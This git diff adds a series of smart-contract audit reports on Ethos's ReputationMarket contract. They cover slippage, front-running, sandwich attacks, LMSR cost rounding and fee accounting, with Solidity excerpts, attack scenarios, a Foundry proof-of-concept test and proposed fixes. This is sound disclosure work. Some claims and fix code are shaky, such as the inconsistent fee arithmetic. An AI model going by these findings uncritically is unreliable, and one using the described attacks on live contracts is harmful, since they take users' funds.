Turquoise Panda + +High + +# `ReputationMarket.sellVotes` doesnt correctly check for slippage + +## Summary + +In `ReputationMarket.sellVotes` slippage can be defined by the user by including a `minimumVotePrice`. However slippage is not correctly checked as fees are still retained and used to check for slippage determined by the user via `minimumVotePrice`. This can cause unintended loss for the user. + +```solidity + /** + * @notice Sell trust or distrust votes from a market + * @dev Protocol fees are taken from the sale proceeds. + * Proceeds are sent to the seller after fees. + * @param profileId The ID of the market to sell votes in + * @param isPositive True to sell trust votes, false to sell distrust votes + * @param votesToSell Number of votes to sell + * @param minimumVotePrice Minimum acceptable price per vote (protects against slippage) + */ + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + +@> uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; // @audit pricePerVote calculated before fees are deducted +@> if (pricePerVote < minimumVotePrice) { // @audit slippage check with no fees deducted + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller +@> _sendEth(proceedsAfterFees); // @audit proceeds send to user with fee deduction + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` + +## Root Cause + +The code checks if the price per vote meets the user's minimum price requirement before deducting protocol fees, rather than after. This means the actual amount received can be lower than expected. + +## Attack Path + +1. User sells 1 trust vote and sets `minVotePrice=1 ETH` to expect at least 1 ETH in return. Suppose `protocolFee` is 5%. +2. Price per trust vote is calculated as 1 ETH +3. After fee deduction, user receives 0.95 ETH and protocol receives 0.05 ETH in fees +4. At the end, user receives less funds that expected (0.95 ETH < 1 ETH) + +While users could work around this by setting a higher minimum price (like 1.1 ETH instead of 1 ETH), this is not a good solution. It requires users to read the codebase to understand the internal fee calculations and manually adjust their minimum price upward. Even if a seller sets a reasonable `minimumVotePrice` 1 ETH, proceeds of at least 1 ETH is not guaranteed to be send to them. + +## LOC + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553 + +## Impact + +Unintended loss of funds for user + +## Mitigation + +Check for slippage after deducting `protocolFees` via `proceedsAfterFees` + +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` diff --git a/089.md b/089.md new file mode 100644 index 0000000..83de649 --- /dev/null +++ b/089.md @@ -0,0 +1,77 @@ +Rich Carmine Seagull + +Medium + +# Using Non-Upgradeable ReentrancyGuard in Upgradeable Contractarty + +### Summary + +Using non-upgradeable ReentrancyGuard in an upgradeable contract can cause storage collisions and reentrancy vulnerabilities, potentially allowing attackers to drain funds through reentrancy attacks. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L8 + + + +### Root Cause + +in `ReputationMarket.sol` the contract inherits from non-upgradeable ReentrancyGuard while being upgradeable: +```solidity +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard, ITargetStatus { +``` + +Non-upgradeable ReentrancyGuard uses fixed storage slot that conflicts with proxy pattern: +```solidity +// ReentrancyGuard (non-upgradeable) +uint256 private _status; // Fixed slot 0 + +// vs ReentrancyGuardUpgradeable +bytes32 private constant ReentrancyGuardStorageLocation; // Namespaced slot +``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Storage collisions between ReentrancyGuard._status and proxy storage +- Potential reentrancy vulnerabilities in those functions buyVotes(), sellVotes(), withdrawDonations() + +### PoC + +_No response_ + +### Mitigation + +use ReentrancyGuardUpgradeable instead +```solidity +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuardUpgradeable, ITargetStatus { + function initialize( + address owner, + address admin, + address expectedSigner, + address signatureVerifier, + address contractAddressManagerAddr + ) external initializer { + __ReentrancyGuard_init(); + __accessControl_init( + owner, + admin, + expectedSigner, + signatureVerifier, + contractAddressManagerAddr + ); + __UUPSUpgradeable_init(); + // ...existing code... + } +} + +``` \ No newline at end of file diff --git a/090.md b/090.md new file mode 100644 index 0000000..34f2167 --- /dev/null +++ b/090.md @@ -0,0 +1,165 @@ +Cool Mango Bobcat + +Medium + +# Front-running Vulnerability Enables Unauthorized Hijacking of Profile Reputation Markets + +## Summary + +The ReputationMarket contract contains a critical vulnerability in its market creation mechanism that allows malicious actors to front-run legitimate market creation transactions. This enables attackers to hijack market creation for any profile ID, leading to both financial losses and reputational damage. + +The root cause lies in the `createMarketWithConfig` function, which lacks any front-running protection mechanisms. Since market creation is tied to profile IDs and the first transaction to create a market for a profile ID becomes the authoritative market, attackers can observe pending transactions in the mempool and front-run them with higher gas prices. + +## Impact +The vulnerability creates a cascade of negative effects on the system. When an attacker front-runs a legitimate market creation, they gain control of the market's initial state and subsequent donation flows. The legitimate profile owner not only loses gas fees from their failed transaction but also loses control over their reputation market. This enables market manipulation and misappropriation of donations, while causing reputational damage as the manipulated market misrepresents the profile owner's standing. + +## Proof of Concept + +Here's the critical vulnerable check that enforces this "first transaction wins" behavior: + +```solidity +// First, in _createMarket function: +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex +) private nonReentrant { + // This is the critical check that makes front-running possible + if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) + revert MarketAlreadyExists(profileId); + + // Once past this check, the first transaction sets up the market + markets[profileId].votes[TRUST] = 1; + markets[profileId].votes[DISTRUST] = 1; + markets[profileId].basePrice = marketConfigs[marketConfigIndex].basePrice; + markets[profileId].liquidityParameter = marketConfigs[marketConfigIndex].liquidity; + + donationRecipient[profileId] = recipient; + // ... +} +``` + +The vulnerability stems from two aspects: + +1. The existence check that only looks at the vote counts: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L324 + +```solidity +if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) +``` + +2. The immediate initialization of the market state: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L346 + +```solidity +markets[profileId].votes[TRUST] = 1; +markets[profileId].votes[DISTRUST] = 1; +``` + +When a front-runner observes a legitimate market creation transaction in the mempool, they can submit their own transaction with higher gas, pass this existence check first, and establish their transaction as the authoritative market creator. The legitimate user's transaction will then fail at the existence check since the votes are no longer zero. + +This implementation inherently creates a race condition where whoever gets their transaction mined first becomes the market creator, regardless of their legitimacy or relationship to the profile ID. + +Exploitation Scenario: + +1. Alice is a reputable NFT artist with profile ID 1234, preparing to launch her reputation market to build trust with collectors. + +2. Alice submits a transaction to create her market: +```solidity +createMarketWithConfig(0) +- value: 0.2 ETH (creation cost) +- gas price: 50 gwei +``` + +3. Mallory, monitoring the mempool, spots Alice's pending transaction and: +- Sees it's for profile ID 1234 +- Notes the 0.2 ETH creation cost +- Observes the gas price + +4. Mallory immediately submits: +```solidity +createMarketWithConfig(0) +- value: 0.2 ETH +- gas price: 55 gwei +``` + +5. Mallory's higher gas price ensures their transaction is mined first, creating a market for Alice's profile ID that Mallory controls. + +6. Alice's transaction reverts with MarketAlreadyExists. + +7. Mallory now: +- Controls Alice's reputation market +- Receives all donation fees from market activity +- Can manipulate initial market sentiment +- Has effectively hijacked Alice's on-chain reputation mechanism + +The attack succeeds because the first transaction to create a market for a profile ID becomes the authoritative market, with no verification of the creator's relationship to the profile. + +## Recommended mitigation steps + +1. Implement a commit-reveal scheme for market creation: +```solidity +struct MarketCreationCommit { + bytes32 commitment; + uint256 timestamp; +} + +mapping(address => MarketCreationCommit) public marketCreationCommitments; + +function commitMarketCreation(bytes32 commitment) external { + marketCreationCommitments[msg.sender] = MarketCreationCommit({ + commitment: commitment, + timestamp: block.timestamp + }); +} + +function createMarketWithConfig( + uint256 configIndex, + bytes32 salt +) external payable { + // Verify commitment exists and matches + MarketCreationCommit memory commit = marketCreationCommitments[msg.sender]; + require(commit.timestamp + 24 hours >= block.timestamp, "Commitment expired"); + require(commit.timestamp + 5 minutes <= block.timestamp, "Wait for commit delay"); + require(keccak256(abi.encodePacked(msg.sender, configIndex, salt)) == commit.commitment, + "Invalid commitment"); + + // Proceed with market creation + ... +} +``` + +2. Alternative: Implement signature-based authorization: +```solidity +function createMarketWithConfig( + uint256 configIndex, + uint256 deadline, + bytes memory signature +) external payable { + require(block.timestamp <= deadline, "Signature expired"); + require(isValidSignature(msg.sender, configIndex, deadline, signature), + "Invalid signature"); + + // Proceed with market creation +} +``` + +3. Alternative: Implement time-delayed market creation: +```solidity +mapping(uint256 => address) public pendingMarketCreations; + +function initiateMarketCreation(uint256 configIndex) external { + uint256 profileId = _getProfileIdForAddress(msg.sender); + pendingMarketCreations[profileId] = msg.sender; +} + +function finalizeMarketCreation(uint256 configIndex) external payable { + uint256 profileId = _getProfileIdForAddress(msg.sender); + require(pendingMarketCreations[profileId] == msg.sender, "Not initiated"); + require(block.timestamp >= marketCreationDelay, "Wait for delay"); + + // Proceed with market creation +} +``` \ No newline at end of file diff --git a/091.md b/091.md new file mode 100644 index 0000000..35ad148 --- /dev/null +++ b/091.md @@ -0,0 +1,54 @@ +Cool Mango Bobcat + +Medium + +# Market Initialization State Manipulation in LMSR Pricing System due to Fixed Initial Vote Count + +### Summary +A critical vulnerability exists in the ReputationMarket contract's market creation mechanism where all new markets are initialized with exactly 1 trust and 1 distrust vote, regardless of their configuration tier. This creates a severe price manipulation opportunity, particularly in higher-tier markets designed for stability. + +The vulnerability stems from the hardcoding of initial votes in `_createMarket()`: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L346 + +```solidity +markets[profileId].votes[TRUST] = 1; +markets[profileId].votes[DISTRUST] = 1; +``` + +The impact is that it enables direct value extraction from other users through price manipulation, permanently corrupts market price discovery mechanisms, and is easily exploitable with significant profit potential. + +### Proof of Concept + +The attack exploits the mismatch between the LMSR pricing mechanism's expectations of liquidity and the actual initial state of the market. When a premium market is created with a liquidity parameter of 100000 but only 1 initial vote on each side, the price impact of initial trades becomes severely magnified. + +An attacker can exploit this by creating a premium market and immediately purchasing a large number of trust votes when the market is in its artificial low-liquidity state. The LMSR formula, operating on the 1:1 initial ratio, will produce extreme price movements from this first large purchase. This manipulation establishes a new, artificially inflated price baseline that subsequent users must trade against. + +The market's intended price stability mechanisms become ineffective because the fundamental relationship between the liquidity parameter and vote counts has been corrupted from inception. The high liquidity parameter of premium markets, paradoxically, makes them more vulnerable as the gap between intended and actual initial liquidity is larger. + +The attack's profitability derives from the difference between the artificially low initial purchase price and the manipulated prices that subsequent users face. The attacker's cost basis (market creation fee plus initial vote purchase) is significantly lower than the manipulated market prices, creating a profitable exit opportunity through gradually selling votes to later participants. + +### Recommended Mitigation Steps + +The vulnerability can be addressed by ensuring market initialization properly reflects the intended stability characteristics of each market tier. This requires modifying the MarketConfig structure to include initial vote counts: + +```solidity +struct MarketConfig { + uint256 liquidity; + uint256 basePrice; + uint256 creationCost; + uint256 initialVotes; // Add initial vote parameter +} +``` + +The market initialization logic should then use these configuration-specific initial votes rather than hardcoded values: + +```solidity +function _createMarket(uint256 profileId, address recipient, uint256 marketConfigIndex) private { + MarketConfig memory config = marketConfigs[marketConfigIndex]; + markets[profileId].votes[TRUST] = config.initialVotes; + markets[profileId].votes[DISTRUST] = config.initialVotes; +} +``` + +The relationship between liquidity parameters and initial votes should be enforced through a minimum ratio requirement, ensuring that higher-tier markets maintain their intended price stability characteristics from inception. This prevents the exploitation of artificial low-liquidity states while preserving the market's ability to reflect genuine changes in sentiment. \ No newline at end of file diff --git a/092.md b/092.md new file mode 100644 index 0000000..d0c8801 --- /dev/null +++ b/092.md @@ -0,0 +1,122 @@ +Cool Mango Bobcat + +Medium + +# No Price Impact Protection in Reputation Market Vote Trading Enables Price Manipulation and MEV + +### Summary +The `buyVotes` function in ReputationMarket.sol lacks essential price impact protection mechanisms, exposing users to sandwich attacks and price manipulation. While the function implements a minimum vote quantity check through `minVotesToBuy`, it fails to protect users from executing trades at highly unfavorable prices. + +The root cause lies in the vote acquisition logic where trades can execute at arbitrarily high prices as long as some minimum vote quantity is obtained. The vulnerability manifests from the interaction between the price calculation mechanism and the trade execution loop: + +The loop continues reducing vote quantity until the trade fits within provided ETH, but critically fails to validate the resulting execution price. + +This creates a direct path for value extraction where sophisticated traders can manipulate the price through large trades, causing user transactions to execute at severely inflated prices. The impact ripples through the entire market mechanism, undermining its ability to accurately reflect reputation scores and creating opportunities for malicious actors to profit from regular user activity. + +### Proof of Concept + +The core vulnerability exists in the buyVotes function + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440 + +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy +) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + // First price check + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); + + // Second price calculation + ( + uint256 purchaseCostBeforeFees, + uint256 protocolFee, + uint256 donation, + uint256 totalCostIncludingFees + ) = _calculateBuy(markets[profileId], isPositive, maxVotesToBuy); + + uint256 currentVotesToBuy = maxVotesToBuy; + // Vulnerable while loop - no price checks + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); + } + + // Update market state without price validation + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + + // Market funds updated after price could be manipulated + marketFunds[profileId] += purchaseCostBeforeFees; + + applyFees(protocolFee, donation, profileId); + + uint256 refund = msg.value - totalCostIncludingFees; + if (refund > 0) _sendEth(refund); +} +``` + +### Scenario + +1. Initial state: +- Vote price is 0.1 ETH +- Target user submits transaction to buy 100 votes with 11 ETH budget +- User expects to pay ~0.11 ETH per vote including fees + +2. Attacker execution: +- Front-runs by buying 1000 votes, driving price up to 0.5 ETH per vote +- User's transaction executes: + - Cannot afford 100 votes at new price + - Loop reduces order to only 20 votes + - Pays 10 ETH for 20 votes (0.5 ETH per vote) +- Back-runs by immediately selling 1000 votes +- Price returns to ~0.1 ETH per vote + +3. Result: +- User paid 5x expected price (0.5 ETH vs 0.1 ETH per vote) +- Got 80% fewer votes than intended (20 vs 100) +- Attacker profits from price spread between manipulated high and normal price +- No slippage protection prevented the unfavorable execution + +### Recommended Mitigation Steps + +The vulnerability can be addressed through a comprehensive approach to price protection: + +The first layer of defense requires implementing maximum price impact validation in the trade execution: +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy, + uint256 maxPricePerVote, + uint256 deadline +) external payable { + require(block.timestamp <= deadline, "Transaction expired"); + + uint256 pricePerVote = totalCostIncludingFees / currentVotesToBuy; + require(pricePerVote <= maxPricePerVote, "Price impact too high"); +} +``` + +This should be complemented with price deviation checks based on time-weighted average prices: + +```solidity +function _checkPriceDeviation( + uint256 currentPrice, + uint256 twapPrice, + uint256 maxDeviation +) internal pure returns (bool) { + return (currentPrice <= twapPrice * (100 + maxDeviation) / 100); +} +``` + +The final layer should implement circuit breakers for large market moves and consider alternative price discovery mechanisms like batch auctions to provide structural protection against MEV. \ No newline at end of file diff --git a/093.md b/093.md new file mode 100644 index 0000000..fc4c36c --- /dev/null +++ b/093.md @@ -0,0 +1,188 @@ +Cheesy Pebble Caribou + +Medium + +# Cost Does Not Always Exceed Current Odds + +### Summary + +At certain values of "Yes" and "No" votes, the cost of a vote becomes less than the probability, which should never be the case. + +### Root Cause + +In the LMSR library code, a significant imbalance between "Yes" and "No" votes causes incorrect cost calculations in certain cases. + +With: + +yesVotes = 25801 +noVotes = 100 +b = 1000 +The variation of ln ( sumExp ) ln (sumExp) between the initial state (yesVotes) and the final state (yesVotes + 1) is too small. + +The cost (Δln (sumExp) Δln(sumExp)) becomes less than the current probability ( yesOdds yesOdds). + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/utils/LMSR.sol#L102 + + + +### Internal Pre-conditions + +None + +### External Pre-conditions + +The number of "Yes" votes is significantly larger compared to the number of "No" votes. + + + +### Attack Path + +Number of "Yes" votes: 25801 +Number of "No" votes: 991009 +We obtain the following results: + +YesOdd = 999999999993110344 +Cost = 999999999993110000 +Result: +The cost should exceed the current odds, but we have Cost <= YesOdd. + + + +### Impact + +When the calculated cost becomes less than the current probability ( +yesOdds +yesOdds): + +Malicious participants may exploit this difference to perform arbitrage and gain risk-free profits. +The market loses economic consistency as it no longer adheres to the fundamental LMSR model rules, where each state change must be proportional to its impact on probabilities. + +### PoC + +Create a test class using Foundry and run the following command: + +```bash +forge test --mt testHigherPriceForMajorityVotes --via-ir -vvvv +``` + +```javascript +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.18; + +import { Test, console } from "forge-std/Test.sol"; +import { LMSR } from "../../contracts/utils/LMSR.sol"; +import { TestLMSR } from "./TestLMSR.sol"; + +/** + * @title LMSRTests + * @dev Test contract for the LMSR library using Foundry's testing framework. + */ +contract LMSRTests is Test { + TestLMSR private lmsr; + + // Constants for testing + uint256 private constant LIQUIDITY_PARAMETER = 1000; // Liquidity parameter for stable price calculations + uint256 private constant QUOTIENT = 1e18; // Scaling factor for fixed-point arithmetic + + // Setup function to initialize the LMSR library + function setUp() public { + // Deploy LMSR library + lmsr = new TestLMSR(); + } + + /** + * @notice Test the cost calculation between current and next price for buying votes. + */ + function testCostCurrentAndNextPriceForBuying() public { + uint256 yes = 25801; + uint256 no = 100; + + uint256 yesOdds = lmsr.getOdds(yes, no, LIQUIDITY_PARAMETER, true); + uint256 nextYesOdds = lmsr.getOdds(yes + 1, no, LIQUIDITY_PARAMETER, true); + int256 yesCost = lmsr.getCost(yes, no, yes + 1, no, LIQUIDITY_PARAMETER); + assertGt(yesCost, int256(yesOdds), "Cost should exceed current odds"); + assertLt(yesCost, int256(nextYesOdds), "Cost should be below next odds"); + } +} + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.18; + +import { LMSR } from "../../contracts/utils/LMSR.sol"; + +/** + * @title TestLMSR + * @dev Wrapper contract to expose LMSR library functions for testing. + */ +contract TestLMSR { + using LMSR for *; + + // Expose LMSR library functions + + function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes + ) external pure returns (uint256) { + return LMSR.getOdds(yesVotes, noVotes, liquidityParameter, isYes); + } + + function getCost( + uint256 currentYesVotes, + uint256 currentNoVotes, + uint256 outcomeYesVotes, + uint256 outcomeNoVotes, + uint256 liquidityParameter + ) external pure returns (int256) { + return + LMSR.getCost( + currentYesVotes, + currentNoVotes, + outcomeYesVotes, + outcomeNoVotes, + liquidityParameter + ); + } +} + +``` + +Test Output + +```bash +Traces: + [131173] LMSRTests::setUp() + ├─ [93747] → new TestLMSR@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f + │ └─ ← [Return] 468 bytes of code + └─ ← [Stop] + + [52901] LMSRTests::testCostCurrentAndNextPriceForBuying() + ├─ [9754] TestLMSR::getOdds(25801 [2.58e4], 100, 1000, true) [staticcall] + │ ├─ [6635] LMSR::getOdds(25801 [2.58e4], 100, 1000, true) [delegatecall] + │ │ └─ ← [Return] 999999999993110344 [9.999e17] + │ └─ ← [Return] 999999999993110344 [9.999e17] + ├─ [6806] TestLMSR::getOdds(25802 [2.58e4], 100, 1000, true) [staticcall] + │ ├─ [6187] LMSR::getOdds(25802 [2.58e4], 100, 1000, true) [delegatecall] + │ │ └─ ← [Return] 999999999993117230 [9.999e17] + │ └─ ← [Return] 999999999993117230 [9.999e17] + ├─ [26453] TestLMSR::getCost(25801 [2.58e4], 100, 25802 [2.58e4], 100, 1000) [staticcall] + │ ├─ [25817] LMSR::getCost(25801 [2.58e4], 100, 25802 [2.58e4], 100, 1000) [delegatecall] + │ │ └─ ← [Return] 999999999993110000 [9.999e17] + │ └─ ← [Return] 999999999993110000 [9.999e17] + ├─ [0] VM::assertGt(999999999993110000 [9.999e17], 999999999993110344 [9.999e17], "Cost should exceed current odds") [staticcall] + │ └─ ← [Revert] Cost should exceed current odds: 999999999993110000 <= 999999999993110344 + └─ ← [Revert] Cost should exceed current odds: 999999999993110000 <= 999999999993110344 + +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.07ms (1.83ms CPU time) + +Ran 1 test suite in 851.10ms (6.07ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) + +Failing tests: +Encountered 1 failing test in test/foundry/LMSRTests.t.sol:LMSRTests +[FAIL: Cost should exceed current odds: 999999999993110000 <= 999999999993110344] testCostCurrentAndNextPriceForBuying() (gas: 52901) +``` + +### Mitigation + +Modify the LMSR.sol code to include a minimum cost adjustment in the getCost function when newCost < oldCost. This ensures newCost is always greater than oldCost. \ No newline at end of file diff --git a/094.md b/094.md new file mode 100644 index 0000000..4f6be7c --- /dev/null +++ b/094.md @@ -0,0 +1,91 @@ +Cool Mango Bobcat + +Medium + +# LMSR Market Cost Sign Conversion Bug Forces Payments for Sell Operations + +## Summary + +The ReputationMarket's `_calcCost` function contains a critical flaw in the handling of LMSR cost calculations, specifically in how it processes costs for sell operations. The core of the issue lies in this conversion: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1052 + +```solidity +uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); +``` + +When users sell votes in an LMSR market, the cost should be negative, representing funds they receive back. However, by converting negative costs to positive values, the contract erroneously requires users to pay when selling votes instead of receiving proceeds. + +While the market's state transitions and LMSR price calculations continue to function correctly - properly tracking vote counts and adjusting prices according to market movements - the economic incentives are broken. Users must pay both to enter and exit positions, with no way to withdraw their position's value without incurring additional costs. + +This creates a critical usability problem where market participants' capital becomes effectively trapped, as exiting a position requires payment rather than generating proceeds. The bug does not affect the market's price discovery mechanism or state calculations, but it makes the market economically non-viable for participants. + +## Proof of Concept + +Scenario: + +1. Market starts balanced: + - 100 trust votes, 100 distrust votes + - 0.01 ETH per vote base price + +2. Alice buys 50 trust votes: + - Pays 0.5 ETH + - Market now: 150 trust, 100 distrust + - Price of trust votes increases per LMSR + +3. Alice sells 50 trust votes: + - Should receive ~0.5 ETH due to similar market state + - Instead must pay ~0.5 ETH due to sign conversion bug + - Market changes to 100 trust, 100 distrust + - Prices adjust accordingly per LMSR + +4. Bob with existing votes: + - Market state and prices still move normally + - But selling requires payment instead of generating proceeds + - The magnitude of required payment follows LMSR curves + +5. Market operation: + - State transitions and price calculations still follow LMSR math + - Only the direction of payment is inverted for sells + - Price signals still reflect vote counts, but economic incentives are broken + + + +## Recommended mitigation steps +The fix requires proper handling of signed costs in the LMSR calculations. A corrected implementation should preserve the sign information throughout the cost calculation process: + +```solidity +function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount +) private pure returns (int256 signedCost) { + uint256[] memory currentState = new uint256[](2); + uint256[] memory outcomeState = new uint256[](2); + + currentState[0] = market.votes[TRUST]; + currentState[1] = market.votes[DISTRUST]; + outcomeState[0] = currentState[0]; + outcomeState[1] = currentState[1]; + + if (isBuy) { + outcomeState[isPositive ? 0 : 1] += amount; + } else { + outcomeState[isPositive ? 0 : 1] -= amount; + } + + signedCost = LMSR.getCost( + currentState[0], + currentState[1], + outcomeState[0], + outcomeState[1], + market.liquidityParameter + ); + + // Scale the signed cost while preserving its sign + signedCost = signedCost * int256(market.basePrice) / 1e18; +} +``` + +Then the buyVotes and sellVotes functions would need to be updated to handle the signed costs appropriately, paying when positive and receiving when negative. \ No newline at end of file diff --git a/095.md b/095.md new file mode 100644 index 0000000..0a05e96 --- /dev/null +++ b/095.md @@ -0,0 +1,110 @@ +Cool Mango Bobcat + +Medium + +# Accounting Discrepancy in Fee Handling Leads to Failed Withdrawals and Fund Lockup + +## Summary + +The `ReputationMarket` contract contains a critical accounting vulnerability in its fee handling mechanism. The core issue stems from an architectural disconnect between funds tracking and fee processing mechanisms. + +The contract maintains a `marketFunds` mapping to track available funds per market, but processes fees (both protocol fees and donations) independently of these fund updates in the `applyFees` function. This results in fees being transferred or escrowed without corresponding deductions from `marketFunds`. + +This architectural flaw manifests in system unreliability and potential fund inaccessibility. The `marketFunds` accounting becomes inaccurate as fees are processed without corresponding balance updates. While Ethereum's native balance checks prevent actual over-withdrawal of funds, the incorrect accounting in `marketFunds` leads to failed withdrawal attempts during market graduation. The discrepancy makes it impossible to maintain proper accounting of available funds versus escrowed fees. + +While funds cannot be directly stolen due to Ethereum's balance checks, the accounting discrepancy leads to system unreliability and potential fund lockup. + + +## Proof of Concept +The vulnerability can be demonstrated through a typical trading scenario that exposes the accounting discrepancy: + +```solidity +// Initial state +marketFunds[profileId] = 0 ETH +contract.balance = 0 ETH + +// User buys votes with 1 ETH +// purchaseCostBeforeFees = 0.95 ETH +// protocolFee = 0.03 ETH +// donation = 0.02 ETH + +// In buyVotes: +marketFunds[profileId] += purchaseCostBeforeFees; // now 0.95 ETH + +// In applyFees: +donationEscrow[recipient] += donation; // 0.02 ETH escrowed +protocolFeeAddress.call{value: protocolFee}(""); // 0.03 ETH transferred + +// Final state +marketFunds[profileId] = 0.95 ETH // Incorrect +contract.balance = 0.97 ETH // Actual (1 - 0.03 protocol fee) +donationEscrow[recipient] = 0.02 ETH +``` + +When market graduation occurs, this discrepancy leads to failed withdrawals: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L740 + +```solidity +function withdrawGraduatedMarketFunds(uint256 profileId) { + // Attempts to withdraw 0.95 ETH + _sendEth(marketFunds[profileId]); // Will fail as only 0.97 ETH available + // and 0.02 ETH needed for escrow +} +``` + +## Recommended mitigation steps +The solution requires a fundamental restructuring of the fee handling mechanism to maintain strict accounting accuracy. The `applyFees` function should be modified to explicitly deduct fees from market funds before processing them: + +```solidity +function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId +) private returns (uint256 fees) { + // Deduct fees from market funds before processing + marketFunds[marketOwnerProfileId] -= (protocolFee + donation); + + // Process fees + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + + return protocolFee + donation; +} +``` + +This should be complemented by implementing a fund invariant checking system that validates the consistency between contract balance and recorded funds: + +```solidity +function checkFundInvariants() internal view { + uint256 totalMarketFunds = 0; + uint256 totalEscrow = 0; + + for (uint256 i = 0; i < markets.length; i++) { + totalMarketFunds += marketFunds[i]; + } + + for (address recipient in donationRecipients) { + totalEscrow += donationEscrow[recipient]; + } + + require( + address(this).balance >= totalMarketFunds + totalEscrow, + "Fund invariant violated" + ); +} +``` + +These system-wide invariant checks should be applied consistently across all fund-handling operations through a modifier: + +```solidity +modifier withFundCheck() { + _; + checkFundInvariants(); +} +``` + +This comprehensive approach ensures robust fund tracking while maintaining the contract's core functionality. The solution maintains a strict correlation between actual contract balances and recorded fund states, preventing accounting discrepancies that could lead to failed operations or locked funds. \ No newline at end of file diff --git a/096.md b/096.md new file mode 100644 index 0000000..ea7c0f8 --- /dev/null +++ b/096.md @@ -0,0 +1,102 @@ +Cool Mango Bobcat + +Medium + +# Unbounded Growth in Participant Tracking Array Leads to Gas Inefficiency and Storage Bloat + +## Summary + +The `ReputationMarket` contract implements an append-only data structure for tracking market participants through `mapping(uint256 => address[]) public participants`. The lack of cleanup mechanism in this implementation creates an unbounded growth pattern where the array of participants for each market continuously expands, even after participants have exited their positions. + +The impact manifests through mounting gas inefficiency as the participant list grows, making operations that iterate through the array increasingly expensive. Additionally, the permanent storage requirements 